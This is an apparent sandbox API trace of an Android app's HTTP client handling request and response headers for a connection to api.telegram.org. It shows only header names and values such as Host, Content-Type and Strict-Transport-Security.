        API: java.lang.String->equalsIgnoreCase at cz.msebera.android.httpclient.message.BasicListHeaderIterator.filterHeader:17 Show source
        NameTypeValue
        p0java.lang.String
        • toString: Access-Control-Allow-Methods
        NameTypeValue
        Return Valuejava.lang.Boolean
        • toString: false
        API: cz.msebera.android.httpclient.message.BufferedHeader->getName at cz.msebera.android.httpclient.message.BasicListHeaderIterator.filterHeader:12 Show source
        NameTypeValue
        Return Valuejava.lang.String
        • toString: Access-Control-Expose-Headers
        API: java.lang.String->equalsIgnoreCase at cz.msebera.android.httpclient.message.BasicListHeaderIterator.filterHeader:17 Show source
        NameTypeValue
        p0java.lang.String
        • toString: Access-Control-Expose-Headers
        NameTypeValue
        Return Valuejava.lang.Boolean
        • toString: false
        API: cz.msebera.android.httpclient.message.BufferedHeader->getName at cz.msebera.android.httpclient.message.BasicListHeaderIterator.filterHeader:12 Show source
        NameTypeValue
        Return Valuejava.lang.String
        • toString: Strict-Transport-Security
        API: java.lang.String->equalsIgnoreCase at cz.msebera.android.httpclient.message.BasicListHeaderIterator.filterHeader:17 Show source
        NameTypeValue
        p0java.lang.String
        • toString: Strict-Transport-Security
        NameTypeValue
        Return Valuejava.lang.Boolean
        • toString: false
        API: java.lang.String->equalsIgnoreCase at cz.msebera.android.httpclient.message.BasicListHeaderIterator.filterHeader:17 Show source
        NameTypeValue
        p0java.lang.String
        • toString: Server
        NameTypeValue
        Return Valuejava.lang.Boolean
        • toString: false
        API: java.lang.String->equalsIgnoreCase at cz.msebera.android.httpclient.message.BasicListHeaderIterator.filterHeader:17 Show source
        NameTypeValue
        p0java.lang.String
        • toString: Date
        NameTypeValue
        Return Valuejava.lang.Boolean
        • toString: false
        API: java.lang.String->equalsIgnoreCase at cz.msebera.android.httpclient.message.BasicListHeaderIterator.filterHeader:17 Show source
        NameTypeValue
        p0java.lang.String
        • toString: Content-Type
        NameTypeValue
        Return Valuejava.lang.Boolean
        • toString: false
        API: cz.msebera.android.httpclient.message.BufferedHeader->getName at cz.msebera.android.httpclient.message.BasicListHeaderIterator.filterHeader:12 Show source
        NameTypeValue
        Return Valuejava.lang.String
        • toString: Content-Length
        API: java.lang.String->equalsIgnoreCase at cz.msebera.android.httpclient.message.BasicListHeaderIterator.filterHeader:17 Show source
        NameTypeValue
        p0java.lang.String
        • toString: Content-Length
        NameTypeValue
        Return Valuejava.lang.Boolean
        • toString: false
        API: cz.msebera.android.httpclient.message.BufferedHeader->getName at cz.msebera.android.httpclient.message.BasicListHeaderIterator.filterHeader:12 Show source
        NameTypeValue
        Return Valuejava.lang.String
        • toString: Connection
        API: java.lang.String->equalsIgnoreCase at cz.msebera.android.httpclient.message.BasicListHeaderIterator.filterHeader:17 Show source
        NameTypeValue
        p0java.lang.String
        • toString: Connection
        NameTypeValue
        Return Valuejava.lang.Boolean
        • toString: false
        API: cz.msebera.android.httpclient.message.BufferedHeader->getName at cz.msebera.android.httpclient.message.BasicListHeaderIterator.filterHeader:12 Show source
        NameTypeValue
        Return Valuejava.lang.String
        • toString: Access-Control-Allow-Origin
        API: java.lang.String->equalsIgnoreCase at cz.msebera.android.httpclient.message.BasicListHeaderIterator.filterHeader:17 Show source
        NameTypeValue
        p0java.lang.String
        • toString: Access-Control-Allow-Origin
        NameTypeValue
        Return Valuejava.lang.Boolean
        • toString: false
        API: cz.msebera.android.httpclient.message.BufferedHeader->getName at cz.msebera.android.httpclient.message.BasicListHeaderIterator.filterHeader:12 Show source
        NameTypeValue
        Return Valuejava.lang.String
        • toString: Access-Control-Allow-Methods
        API: java.lang.String->equalsIgnoreCase at cz.msebera.android.httpclient.message.BasicListHeaderIterator.filterHeader:17 Show source
        NameTypeValue
        p0java.lang.String
        • toString: Access-Control-Allow-Methods
        NameTypeValue
        Return Valuejava.lang.Boolean
        • toString: false
        API: cz.msebera.android.httpclient.message.BufferedHeader->getName at cz.msebera.android.httpclient.message.BasicListHeaderIterator.filterHeader:12 Show source
        NameTypeValue
        Return Valuejava.lang.String
        • toString: Access-Control-Expose-Headers
        API: java.lang.String->equalsIgnoreCase at cz.msebera.android.httpclient.message.BasicListHeaderIterator.filterHeader:17 Show source
        NameTypeValue
        p0java.lang.String
        • toString: Access-Control-Expose-Headers
        NameTypeValue
        Return Valuejava.lang.Boolean
        • toString: false
        API: cz.msebera.android.httpclient.message.BufferedHeader->getName at cz.msebera.android.httpclient.message.BasicListHeaderIterator.filterHeader:12 Show source
        NameTypeValue
        Return Valuejava.lang.String
        • toString: Strict-Transport-Security
        API: java.lang.String->equalsIgnoreCase at cz.msebera.android.httpclient.message.BasicListHeaderIterator.filterHeader:17 Show source
        NameTypeValue
        p0java.lang.String
        • toString: Strict-Transport-Security
        NameTypeValue
        Return Valuejava.lang.Boolean
        • toString: false
        API: cz.msebera.android.httpclient.message.BasicHeader->getName at cz.msebera.android.httpclient.message.HeaderGroup.containsHeader:15 Show source
        NameTypeValue
        Return Valuejava.lang.String
        • toString: java.lang.String@6158cb6
        API: cz.msebera.android.httpclient.message.BasicHeader->getName at cz.msebera.android.httpclient.message.HeaderGroup.containsHeader:15 Show source
        NameTypeValue
        Return Valuejava.lang.String
        • toString: java.lang.String@6158cb6
        API: cz.msebera.android.httpclient.message.BasicHeader->getName at cz.msebera.android.httpclient.message.HeaderGroup.containsHeader:15 Show source
        NameTypeValue
        Return Valuejava.lang.String
        • toString: java.lang.String@6158cb6
        API: cz.msebera.android.httpclient.message.BasicHeader->getName at cz.msebera.android.httpclient.message.HeaderGroup.containsHeader:15 Show source
        NameTypeValue
        Return Valuejava.lang.String
        • toString: java.lang.String@6158cb6
        API: cz.msebera.android.httpclient.message.BasicHeader->getValue at cz.msebera.android.httpclient.message.HeaderGroup.containsHeader:15 Show source
        NameTypeValue
        Return Valuejava.lang.String
        • toString: java.lang.String@2d08db7
        API: cz.msebera.android.httpclient.util.CharArrayBuffer->append at cz.msebera.android.httpclient.message.HeaderGroup.containsHeader:15 Show source
        NameTypeValue
        p0java.lang.String
        • toString: java.lang.String@6158cb6
        API: cz.msebera.android.httpclient.util.CharArrayBuffer->append at cz.msebera.android.httpclient.message.HeaderGroup.containsHeader:15 Show source
        NameTypeValue
        p0java.lang.String
        • toString: java.lang.String@c744c8d
        API: cz.msebera.android.httpclient.util.CharArrayBuffer->append at cz.msebera.android.httpclient.message.HeaderGroup.containsHeader:15 Show source
        NameTypeValue
        p0java.lang.String
        • toString: java.lang.String@2d08db7
        API: java.lang.String-><init> at cz.msebera.android.httpclient.message.HeaderGroup.containsHeader:15 Show source
        NameTypeValue
        p0java.lang.Object
        • toString: [C@d64e53
        • $1: Content-Length: 0
        p1java.lang.Integer
        • toString: java.lang.Integer@a8cbdf
        p2java.lang.Integer
        • toString: java.lang.Integer@e4ed390
        NameTypeValue
        Return Valuejava.lang.String
        • toString: java.lang.String@ee5be42
        API: cz.msebera.android.httpclient.util.CharArrayBuffer->toString at cz.msebera.android.httpclient.message.HeaderGroup.containsHeader:15 Show source
        NameTypeValue
        Return Valuejava.lang.String
        • toString: java.lang.String@ee5be42
        API: java.lang.String->equalsIgnoreCase at cz.msebera.android.httpclient.message.HeaderGroup.containsHeader:18 Show source
        NameTypeValue
        p0java.lang.String
        • toString: Host
        NameTypeValue
        Return Valuejava.lang.Boolean
        • toString: false
        API: cz.msebera.android.httpclient.message.BasicHeader->getName at cz.msebera.android.httpclient.message.HeaderGroup.containsHeader:15 Show source
        NameTypeValue
        Return Valuejava.lang.String
        • toString: java.lang.String@6158cb6
        API: java.lang.String->equalsIgnoreCase at cz.msebera.android.httpclient.message.HeaderGroup.containsHeader:18 Show source
        NameTypeValue
        p0java.lang.String
        • toString: Connection
        NameTypeValue
        Return Valuejava.lang.Boolean
        • toString: false
        API: cz.msebera.android.httpclient.message.BasicHeader->getName at cz.msebera.android.httpclient.message.HeaderGroup.containsHeader:15 Show source
        NameTypeValue
        Return Valuejava.lang.String
        • toString: Host
        API: cz.msebera.android.httpclient.message.BasicHeader->getName at cz.msebera.android.httpclient.message.HeaderGroup.containsHeader:15 Show source
        NameTypeValue
        Return Valuejava.lang.String
        • toString: Host
        API: cz.msebera.android.httpclient.message.BasicHeader->getName at cz.msebera.android.httpclient.message.HeaderGroup.containsHeader:15 Show source
        NameTypeValue
        Return Valuejava.lang.String
        • toString: Host
        API: cz.msebera.android.httpclient.message.BasicHeader->getName at cz.msebera.android.httpclient.message.HeaderGroup.containsHeader:15 Show source
        NameTypeValue
        Return Valuejava.lang.String
        • toString: Host
        API: cz.msebera.android.httpclient.message.BasicHeader->getValue at cz.msebera.android.httpclient.message.HeaderGroup.containsHeader:15 Show source
        NameTypeValue
        Return Valuejava.lang.String
        • toString: api.telegram.org
        API: cz.msebera.android.httpclient.util.CharArrayBuffer->append at cz.msebera.android.httpclient.message.HeaderGroup.containsHeader:15 Show source
        NameTypeValue
        p0java.lang.String
        • toString: Host
        API: cz.msebera.android.httpclient.util.CharArrayBuffer->append at cz.msebera.android.httpclient.message.HeaderGroup.containsHeader:15 Show source
        NameTypeValue
        p0java.lang.String
        • toString: java.lang.String@c744c8d
        API: cz.msebera.android.httpclient.util.CharArrayBuffer->append at cz.msebera.android.httpclient.message.HeaderGroup.containsHeader:15 Show source
        NameTypeValue
        p0java.lang.String
        • toString: api.telegram.org
        API: java.lang.String-><init> at cz.msebera.android.httpclient.message.HeaderGroup.containsHeader:15 Show source
        NameTypeValue
        p0java.lang.Object
        • toString: [C@3ea52a7
        • $1: Host: api.telegram.org
        p1java.lang.Integer
        • toString: java.lang.Integer@a8cbdf
        p2java.lang.Integer
        • toString: java.lang.Integer@41e4354
        NameTypeValue
        Return Valuejava.lang.String
        • toString: java.lang.String@e788f66
        API: cz.msebera.android.httpclient.util.CharArrayBuffer->toString at cz.msebera.android.httpclient.message.HeaderGroup.containsHeader:15 Show source
        NameTypeValue
        Return Valuejava.lang.String
        • toString: java.lang.String@e788f66
        API: java.lang.String->equalsIgnoreCase at cz.msebera.android.httpclient.message.HeaderGroup.containsHeader:18 Show source
        NameTypeValue
        p0java.lang.String
        • toString: Connection
        NameTypeValue
        Return Valuejava.lang.Boolean
        • toString: false
        API: cz.msebera.android.httpclient.message.BasicHeader->getName at cz.msebera.android.httpclient.message.HeaderGroup.containsHeader:15 Show source
        NameTypeValue
        Return Valuejava.lang.String
        • toString: java.lang.String@6158cb6
        API: java.lang.String->equalsIgnoreCase at cz.msebera.android.httpclient.message.HeaderGroup.containsHeader:18 Show source
        NameTypeValue
        p0java.lang.String
        • toString: User-Agent
        NameTypeValue
        Return Valuejava.lang.Boolean
        • toString: false
        API: cz.msebera.android.httpclient.message.BasicHeader->getName at cz.msebera.android.httpclient.message.HeaderGroup.containsHeader:15 Show source
        NameTypeValue
        Return Valuejava.lang.String
        • toString: Host
        API: java.lang.String->equalsIgnoreCase at cz.msebera.android.httpclient.message.HeaderGroup.containsHeader:18 Show source
        NameTypeValue
        p0java.lang.String
        • toString: User-Agent
        NameTypeValue
        Return Valuejava.lang.Boolean
        • toString: false
        API: cz.msebera.android.httpclient.message.BasicHeader->getName at cz.msebera.android.httpclient.message.HeaderGroup.containsHeader:15 Show source
        NameTypeValue
        Return Valuejava.lang.String
        • toString: Connection
        API: cz.msebera.android.httpclient.message.BasicHeader->getName at cz.msebera.android.httpclient.message.HeaderGroup.containsHeader:15 Show source
        NameTypeValue
        Return Valuejava.lang.String
        • toString: Connection
        API: cz.msebera.android.httpclient.message.BasicHeader->getName at cz.msebera.android.httpclient.message.HeaderGroup.containsHeader:15 Show source
        NameTypeValue
        Return Valuejava.lang.String
        • toString: Connection
        API: cz.msebera.android.httpclient.message.BasicHeader->getName at cz.msebera.android.httpclient.message.HeaderGroup.containsHeader:15 Show source
        NameTypeValue
        Return Valuejava.lang.String
        • toString: Connection
        API: cz.msebera.android.httpclient.message.BasicHeader->getValue at cz.msebera.android.httpclient.message.HeaderGroup.containsHeader:15 Show source
        NameTypeValue
        Return Valuejava.lang.String
        • toString: java.lang.String@9df7243
        API: cz.msebera.android.httpclient.util.CharArrayBuffer->append at cz.msebera.android.httpclient.message.HeaderGroup.containsHeader:15 Show source
        NameTypeValue
        p0java.lang.String
        • toString: Connection
        API: cz.msebera.android.httpclient.util.CharArrayBuffer->append at cz.msebera.android.httpclient.message.HeaderGroup.containsHeader:15 Show source
        NameTypeValue
        p0java.lang.String
        • toString: java.lang.String@c744c8d
        API: cz.msebera.android.httpclient.util.CharArrayBuffer->append at cz.msebera.android.httpclient.message.HeaderGroup.containsHeader:15 Show source
        NameTypeValue
        p0java.lang.String
        • toString: java.lang.String@9df7243
        API: java.lang.String-><init> at cz.msebera.android.httpclient.message.HeaderGroup.containsHeader:15 Show source
        NameTypeValue
        p0java.lang.Object
        • toString: [C@4a0253e
        • $1: Connection: Keep-Alive
        p1java.lang.Integer
        • toString: java.lang.Integer@a8cbdf
        p2java.lang.Integer
        • toString: java.lang.Integer@41e4354
        NameTypeValue
        Return Valuejava.lang.String
        • toString: java.lang.String@fa441f9
        API: cz.msebera.android.httpclient.util.CharArrayBuffer->toString at cz.msebera.android.httpclient.message.HeaderGroup.containsHeader:15 Show source
        NameTypeValue
        Return Valuejava.lang.String
        • toString: java.lang.String@fa441f9
        API: java.lang.String->equalsIgnoreCase at cz.msebera.android.httpclient.message.HeaderGroup.containsHeader:18 Show source
        NameTypeValue
        p0java.lang.String
        • toString: User-Agent
        NameTypeValue
        Return Valuejava.lang.Boolean
        • toString: false
        API: cz.msebera.android.httpclient.message.BasicHeader->getName at cz.msebera.android.httpclient.message.HeaderGroup.containsHeader:15 Show source
        NameTypeValue
        Return Valuejava.lang.String
        • toString: java.lang.String@6158cb6
        API: java.lang.String->equalsIgnoreCase at cz.msebera.android.httpclient.message.HeaderGroup.containsHeader:18 Show source
        NameTypeValue
        p0java.lang.String
        • toString: Expect
        NameTypeValue
        Return Valuejava.lang.Boolean
        • toString: false
        API: cz.msebera.android.httpclient.message.BasicHeader->getName at cz.msebera.android.httpclient.message.HeaderGroup.containsHeader:15 Show source
        NameTypeValue
        Return Valuejava.lang.String
        • toString: Host
        API: java.lang.String->equalsIgnoreCase at cz.msebera.android.httpclient.message.HeaderGroup.containsHeader:18 Show source
        NameTypeValue
        p0java.lang.String
        • toString: Expect
        NameTypeValue
        Return Valuejava.lang.Boolean
        • toString: false
        API: cz.msebera.android.httpclient.message.BasicHeader->getName at cz.msebera.android.httpclient.message.HeaderGroup.containsHeader:15 Show source
        NameTypeValue
        Return Valuejava.lang.String
        • toString: Connection
        API: java.lang.String->equalsIgnoreCase at cz.msebera.android.httpclient.message.HeaderGroup.containsHeader:18 Show source
        NameTypeValue
        p0java.lang.String
        • toString: Expect
        NameTypeValue
        Return Valuejava.lang.Boolean
        • toString: false
        API: cz.msebera.android.httpclient.message.BasicHeader->getName at cz.msebera.android.httpclient.message.HeaderGroup.containsHeader:15 Show source
        NameTypeValue
        Return Valuejava.lang.String
        • toString: java.lang.String@6158cb6
        API: java.lang.String->equalsIgnoreCase at cz.msebera.android.httpclient.message.HeaderGroup.containsHeader:18 Show source
        NameTypeValue
        p0java.lang.String
        • toString: Authorization
        NameTypeValue
        Return Valuejava.lang.Boolean
        • toString: false
        API: cz.msebera.android.httpclient.message.BasicHeader->getName at cz.msebera.android.httpclient.message.HeaderGroup.containsHeader:15 Show source
        NameTypeValue
        Return Valuejava.lang.String
        • toString: Host
        API: java.lang.String->equalsIgnoreCase at cz.msebera.android.httpclient.message.HeaderGroup.containsHeader:18 Show source
        NameTypeValue
        p0java.lang.String
        • toString: Authorization
        NameTypeValue
        Return Valuejava.lang.Boolean
        • toString: false
        API: cz.msebera.android.httpclient.message.BasicHeader->getName at cz.msebera.android.httpclient.message.HeaderGroup.containsHeader:15 Show source
        NameTypeValue
        Return Valuejava.lang.String
        • toString: Connection
        API: java.lang.String->equalsIgnoreCase at cz.msebera.android.httpclient.message.HeaderGroup.containsHeader:18 Show source
        NameTypeValue
        p0java.lang.String
        • toString: Authorization
        NameTypeValue
        Return Valuejava.lang.Boolean
        • toString: false
        API: cz.msebera.android.httpclient.message.BasicHeader->getName at cz.msebera.android.httpclient.message.HeaderGroup.containsHeader:15 Show source
        NameTypeValue
        Return Valuejava.lang.String
        • toString: java.lang.String@6158cb6
        API: java.lang.String->equalsIgnoreCase at cz.msebera.android.httpclient.message.HeaderGroup.containsHeader:18 Show source
        NameTypeValue
        p0java.lang.String
        • toString: Proxy-Authorization
        NameTypeValue
        Return Valuejava.lang.Boolean
        • toString: false
        API: cz.msebera.android.httpclient.message.BasicHeader->getName at cz.msebera.android.httpclient.message.HeaderGroup.containsHeader:15 Show source
        NameTypeValue
        Return Valuejava.lang.String
        • toString: Host
        API: java.lang.String->equalsIgnoreCase at cz.msebera.android.httpclient.message.HeaderGroup.containsHeader:18 Show source
        NameTypeValue
        p0java.lang.String
        • toString: Proxy-Authorization
        NameTypeValue
        Return Valuejava.lang.Boolean
        • toString: false
        API: cz.msebera.android.httpclient.message.BasicHeader->getName at cz.msebera.android.httpclient.message.HeaderGroup.containsHeader:15 Show source
        NameTypeValue
        Return Valuejava.lang.String
        • toString: Connection
        API: java.lang.String->equalsIgnoreCase at cz.msebera.android.httpclient.message.HeaderGroup.containsHeader:18 Show source
        NameTypeValue
        p0java.lang.String
        • toString: Proxy-Authorization
        NameTypeValue
        Return Valuejava.lang.Boolean
        • toString: false
        API: cz.msebera.android.httpclient.message.BasicHeader->getName at cz.msebera.android.httpclient.message.HeaderGroup.containsHeader:15 Show source
        NameTypeValue
        Return Valuejava.lang.String
        • toString: java.lang.String@6158cb6
        API: java.lang.String->equalsIgnoreCase at cz.msebera.android.httpclient.message.HeaderGroup.containsHeader:18 Show source
        NameTypeValue
        p0java.lang.String
        • toString: Accept-Encoding
        NameTypeValue
        Return Valuejava.lang.Boolean
        • toString: false
        API: cz.msebera.android.httpclient.message.BasicHeader->getName at cz.msebera.android.httpclient.message.HeaderGroup.containsHeader:15 Show source
        NameTypeValue
        Return Valuejava.lang.String
        • toString: Host
        API: java.lang.String->equalsIgnoreCase at cz.msebera.android.httpclient.message.HeaderGroup.containsHeader:18 Show source
        NameTypeValue
        p0java.lang.String
        • toString: Accept-Encoding
        NameTypeValue
        Return Valuejava.lang.Boolean
        • toString: false
        API: cz.msebera.android.httpclient.message.BasicHeader->getName at cz.msebera.android.httpclient.message.HeaderGroup.containsHeader:15 Show source
        NameTypeValue
        Return Valuejava.lang.String
        • toString: Connection
        API: java.lang.String->equalsIgnoreCase at cz.msebera.android.httpclient.message.HeaderGroup.containsHeader:18 Show source
        NameTypeValue
        p0java.lang.String
        • toString: Accept-Encoding
        NameTypeValue
        Return Valuejava.lang.Boolean
        • toString: false
        API: cz.msebera.android.httpclient.message.BasicHeader->getName at cz.msebera.android.httpclient.message.HeaderGroup.getFirstHeader:14 Show source
        NameTypeValue
        Return Valuejava.lang.String
        • toString: java.lang.String@6158cb6
        API: java.lang.String->equalsIgnoreCase at cz.msebera.android.httpclient.message.HeaderGroup.getFirstHeader:17 Show source
        NameTypeValue
        p0java.lang.String
        • toString: Expect
        NameTypeValue
        Return Valuejava.lang.Boolean
        • toString: false
        API: cz.msebera.android.httpclient.message.BasicHeader->getName at cz.msebera.android.httpclient.message.HeaderGroup.getFirstHeader:14 Show source
        NameTypeValue
        Return Valuejava.lang.String
        • toString: Host
        API: java.lang.String->equalsIgnoreCase at cz.msebera.android.httpclient.message.HeaderGroup.getFirstHeader:17 Show source
        NameTypeValue
        p0java.lang.String
        • toString: Expect
        NameTypeValue
        Return Valuejava.lang.Boolean
        • toString: false
        API: cz.msebera.android.httpclient.message.BasicHeader->getName at cz.msebera.android.httpclient.message.HeaderGroup.getFirstHeader:14 Show source
        NameTypeValue
        Return Valuejava.lang.String
        • toString: Connection
        API: java.lang.String->equalsIgnoreCase at cz.msebera.android.httpclient.message.HeaderGroup.getFirstHeader:17 Show source
        NameTypeValue
        p0java.lang.String
        • toString: Expect
        NameTypeValue
        Return Valuejava.lang.Boolean
        • toString: false
        API: cz.msebera.android.httpclient.message.BasicHeader->getName at cz.msebera.android.httpclient.message.HeaderGroup.getFirstHeader:14 Show source
        NameTypeValue
        Return Valuejava.lang.String
        • toString: Accept-Encoding
        API: java.lang.String->equalsIgnoreCase at cz.msebera.android.httpclient.message.HeaderGroup.getFirstHeader:17 Show source
        NameTypeValue
        p0java.lang.String
        • toString: Expect
        NameTypeValue
        Return Valuejava.lang.Boolean
        • toString: false
        API: java.lang.String-><init> at cz.msebera.android.httpclient.message.HeaderGroup.getFirstHeader:14 Show source
        NameTypeValue
        p0java.lang.Object
        • toString: [C@22deaa4
        • $1: Server: nginx/1.12.2
        p1java.lang.Integer
        • toString: java.lang.Integer@a8cbdf
        p2java.lang.Integer
        • toString: java.lang.Integer@637369c
        NameTypeValue
        Return Valuejava.lang.String
        • toString: java.lang.String@e1d660f
        API: cz.msebera.android.httpclient.message.BufferedHeader->getName at cz.msebera.android.httpclient.message.HeaderGroup.getFirstHeader:14 Show source
        NameTypeValue
        Return Valuejava.lang.String
        • toString: Server
        API: cz.msebera.android.httpclient.util.CharArrayBuffer->toString at cz.msebera.android.httpclient.message.HeaderGroup.getFirstHeader:14 Show source
        NameTypeValue
        Return Valuejava.lang.String
        • toString: java.lang.String@e1d660f
        API: java.lang.String->equalsIgnoreCase at cz.msebera.android.httpclient.message.HeaderGroup.getFirstHeader:17 Show source
        NameTypeValue
        p0java.lang.String
        • toString: Transfer-Encoding
        NameTypeValue
        Return Valuejava.lang.Boolean
        • toString: false
        API: java.lang.String-><init> at cz.msebera.android.httpclient.message.HeaderGroup.getFirstHeader:14 Show source
        NameTypeValue
        p0java.lang.Object
        • toString: [C@c76120e
        • $1: Date: Tue, 12 Feb 2019 13:29:49 GMT
        p1java.lang.Integer
        • toString: java.lang.Integer@a8cbdf
        p2java.lang.Integer
        • toString: java.lang.Integer@3723e46
        NameTypeValue
        Return Valuejava.lang.String
        • toString: java.lang.String@c4a7a21
        API: cz.msebera.android.httpclient.message.BufferedHeader->getName at cz.msebera.android.httpclient.message.HeaderGroup.getFirstHeader:14 Show source
        NameTypeValue
        Return Valuejava.lang.String
        • toString: Date
        API: cz.msebera.android.httpclient.util.CharArrayBuffer->toString at cz.msebera.android.httpclient.message.HeaderGroup.getFirstHeader:14 Show source
        NameTypeValue
        Return Valuejava.lang.String
        • toString: java.lang.String@c4a7a21
        API: java.lang.String->equalsIgnoreCase at cz.msebera.android.httpclient.message.HeaderGroup.getFirstHeader:17 Show source
        NameTypeValue
        p0java.lang.String
        • toString: Transfer-Encoding
        NameTypeValue
        Return Valuejava.lang.Boolean
        • toString: false
        API: java.lang.String-><init> at cz.msebera.android.httpclient.message.HeaderGroup.getFirstHeader:14 Show source
        NameTypeValue
        p0java.lang.Object
        • toString: [C@1ea3c
        • $1: Content-Type: application/json
        p1java.lang.Integer
        • toString: java.lang.Integer@a8cbdf
        p2java.lang.Integer
        • toString: java.lang.Integer@783f8d2
        NameTypeValue
        Return Valuejava.lang.String
        • toString: java.lang.String@4b3975d
        API: cz.msebera.android.httpclient.message.BufferedHeader->getName at cz.msebera.android.httpclient.message.HeaderGroup.getFirstHeader:14 Show source
        NameTypeValue
        Return Valuejava.lang.String
        • toString: Content-Type
        API: cz.msebera.android.httpclient.util.CharArrayBuffer->toString at cz.msebera.android.httpclient.message.HeaderGroup.getFirstHeader:14 Show source
        NameTypeValue
        Return Valuejava.lang.String
        • toString: java.lang.String@4b3975d
        API: java.lang.String->equalsIgnoreCase at cz.msebera.android.httpclient.message.HeaderGroup.getFirstHeader:17 Show source
        NameTypeValue
        p0java.lang.String
        • toString: Transfer-Encoding
        NameTypeValue
        Return Valuejava.lang.Boolean
        • toString: false
        API: cz.msebera.android.httpclient.message.BufferedHeader->getName at cz.msebera.android.httpclient.message.HeaderGroup.getFirstHeader:14 Show source
        NameTypeValue
        Return Valuejava.lang.String
        • toString: Content-Length
        API: java.lang.String-><init> at cz.msebera.android.httpclient.message.HeaderGroup.getFirstHeader:14 Show source
        NameTypeValue
        p0java.lang.Object
        • toString: [C@faed44b
        • $1: Content-Length: 243
        p1java.lang.Integer
        • toString: java.lang.Integer@a8cbdf
        p2java.lang.Integer
        • toString: java.lang.Integer@829f0ff
        NameTypeValue
        Return Valuejava.lang.String
        • toString: java.lang.String@f84d01e
        API: cz.msebera.android.httpclient.util.CharArrayBuffer->toString at cz.msebera.android.httpclient.message.HeaderGroup.getFirstHeader:14 Show source
        NameTypeValue
        Return Valuejava.lang.String
        • toString: java.lang.String@f84d01e
        API: java.lang.String->equalsIgnoreCase at cz.msebera.android.httpclient.message.HeaderGroup.getFirstHeader:17 Show source
        NameTypeValue
        p0java.lang.String
        • toString: Transfer-Encoding
        NameTypeValue
        Return Valuejava.lang.Boolean
        • toString: false
        API: java.lang.String-><init> at cz.msebera.android.httpclient.message.HeaderGroup.getFirstHeader:14 Show source
        NameTypeValue
        p0java.lang.Object
        • toString: [C@a2654e6
        • $1: Connection: keep-alive
        p1java.lang.Integer
        • toString: java.lang.Integer@a8cbdf
        p2java.lang.Integer
        • toString: java.lang.Integer@41e4354
        NameTypeValue
        Return Valuejava.lang.String
        • toString: java.lang.String@7b69e1b
        API: cz.msebera.android.httpclient.message.BufferedHeader->getName at cz.msebera.android.httpclient.message.HeaderGroup.getFirstHeader:14 Show source
        NameTypeValue
        Return Valuejava.lang.String
        • toString: Connection
        API: cz.msebera.android.httpclient.util.CharArrayBuffer->toString at cz.msebera.android.httpclient.message.HeaderGroup.getFirstHeader:14 Show source
        NameTypeValue
        Return Valuejava.lang.String
        • toString: java.lang.String@7b69e1b
        API: java.lang.String->equalsIgnoreCase at cz.msebera.android.httpclient.message.HeaderGroup.getFirstHeader:17 Show source
        NameTypeValue
        p0java.lang.String
        • toString: Transfer-Encoding
        NameTypeValue
        Return Valuejava.lang.Boolean
        • toString: false
        API: java.lang.String-><init> at cz.msebera.android.httpclient.message.HeaderGroup.getFirstHeader:14 Show source
        NameTypeValue
        p0java.lang.Object
        • toString: [C@ec5167d
        • $1: Access-Control-Allow-Origin: *
        p1java.lang.Integer
        • toString: java.lang.Integer@a8cbdf
        p2java.lang.Integer
        • toString: java.lang.Integer@783f8d2
        NameTypeValue
        Return Valuejava.lang.String
        • toString: java.lang.String@9700f7
        API: cz.msebera.android.httpclient.message.BufferedHeader->getName at cz.msebera.android.httpclient.message.HeaderGroup.getFirstHeader:14 Show source
        NameTypeValue
        Return Valuejava.lang.String
        • toString: Access-Control-Allow-Origin
        API: cz.msebera.android.httpclient.util.CharArrayBuffer->toString at cz.msebera.android.httpclient.message.HeaderGroup.getFirstHeader:14 Show source
        NameTypeValue
        Return Valuejava.lang.String
        • toString: java.lang.String@9700f7
        API: java.lang.String->equalsIgnoreCase at cz.msebera.android.httpclient.message.HeaderGroup.getFirstHeader:17 Show source
        NameTypeValue
        p0java.lang.String
        • toString: Transfer-Encoding
        NameTypeValue
        Return Valuejava.lang.Boolean
        • toString: false
        API: java.lang.String-><init> at cz.msebera.android.httpclient.message.HeaderGroup.getFirstHeader:14 Show source
        NameTypeValue
        p0java.lang.Object
        • toString: [C@fe9da40
        • $1: Access-Control-Allow-Methods: GET, POST, OPTIONS
        p1java.lang.Integer
        • toString: java.lang.Integer@a8cbdf
        p2java.lang.Integer
        • toString: java.lang.Integer@1b0b593
        NameTypeValue
        Return Valuejava.lang.String
        • toString: java.lang.String@f183a82
        API: cz.msebera.android.httpclient.message.BufferedHeader->getName at cz.msebera.android.httpclient.message.HeaderGroup.getFirstHeader:14 Show source
        NameTypeValue
        Return Valuejava.lang.String
        • toString: Access-Control-Allow-Methods
        API: cz.msebera.android.httpclient.util.CharArrayBuffer->toString at cz.msebera.android.httpclient.message.HeaderGroup.getFirstHeader:14 Show source
        NameTypeValue
        Return Valuejava.lang.String
        • toString: java.lang.String@f183a82
        API: java.lang.String->equalsIgnoreCase at cz.msebera.android.httpclient.message.HeaderGroup.getFirstHeader:17 Show source
        NameTypeValue
        p0java.lang.String
        • toString: Transfer-Encoding
        NameTypeValue
        Return Valuejava.lang.Boolean
        • toString: false
        API: cz.msebera.android.httpclient.message.BufferedHeader->getName at cz.msebera.android.httpclient.message.HeaderGroup.getFirstHeader:14 Show source
        NameTypeValue
        Return Valuejava.lang.String
        • toString: Access-Control-Expose-Headers
        API: java.lang.String-><init> at cz.msebera.android.httpclient.message.HeaderGroup.getFirstHeader:14 Show source
        NameTypeValue
        p0java.lang.Object
        • toString: [C@4e2771f
        • $1: Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
        p1java.lang.Integer
        • toString: java.lang.Integer@a8cbdf
        p2java.lang.Integer
        • toString: java.lang.Integer@a4a32fc
        NameTypeValue
        Return Valuejava.lang.String
        • toString: java.lang.String@8a717ef
        API: cz.msebera.android.httpclient.util.CharArrayBuffer->toString at cz.msebera.android.httpclient.message.HeaderGroup.getFirstHeader:14 Show source
        NameTypeValue
        Return Valuejava.lang.String
        • toString: java.lang.String@8a717ef
        API: java.lang.String->equalsIgnoreCase at cz.msebera.android.httpclient.message.HeaderGroup.getFirstHeader:17 Show source
        NameTypeValue
        p0java.lang.String
        • toString: Transfer-Encoding
        NameTypeValue
        Return Valuejava.lang.Boolean
        • toString: false
        API: cz.msebera.android.httpclient.message.BufferedHeader->getName at cz.msebera.android.httpclient.message.HeaderGroup.getFirstHeader:14 Show source
        NameTypeValue
        Return Valuejava.lang.String
        • toString: Strict-Transport-Security
        API: java.lang.String-><init> at cz.msebera.android.httpclient.message.HeaderGroup.getFirstHeader:14 Show source
        NameTypeValue
        p0java.lang.Object
        • toString: [C@4c024ca
        • $1: Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
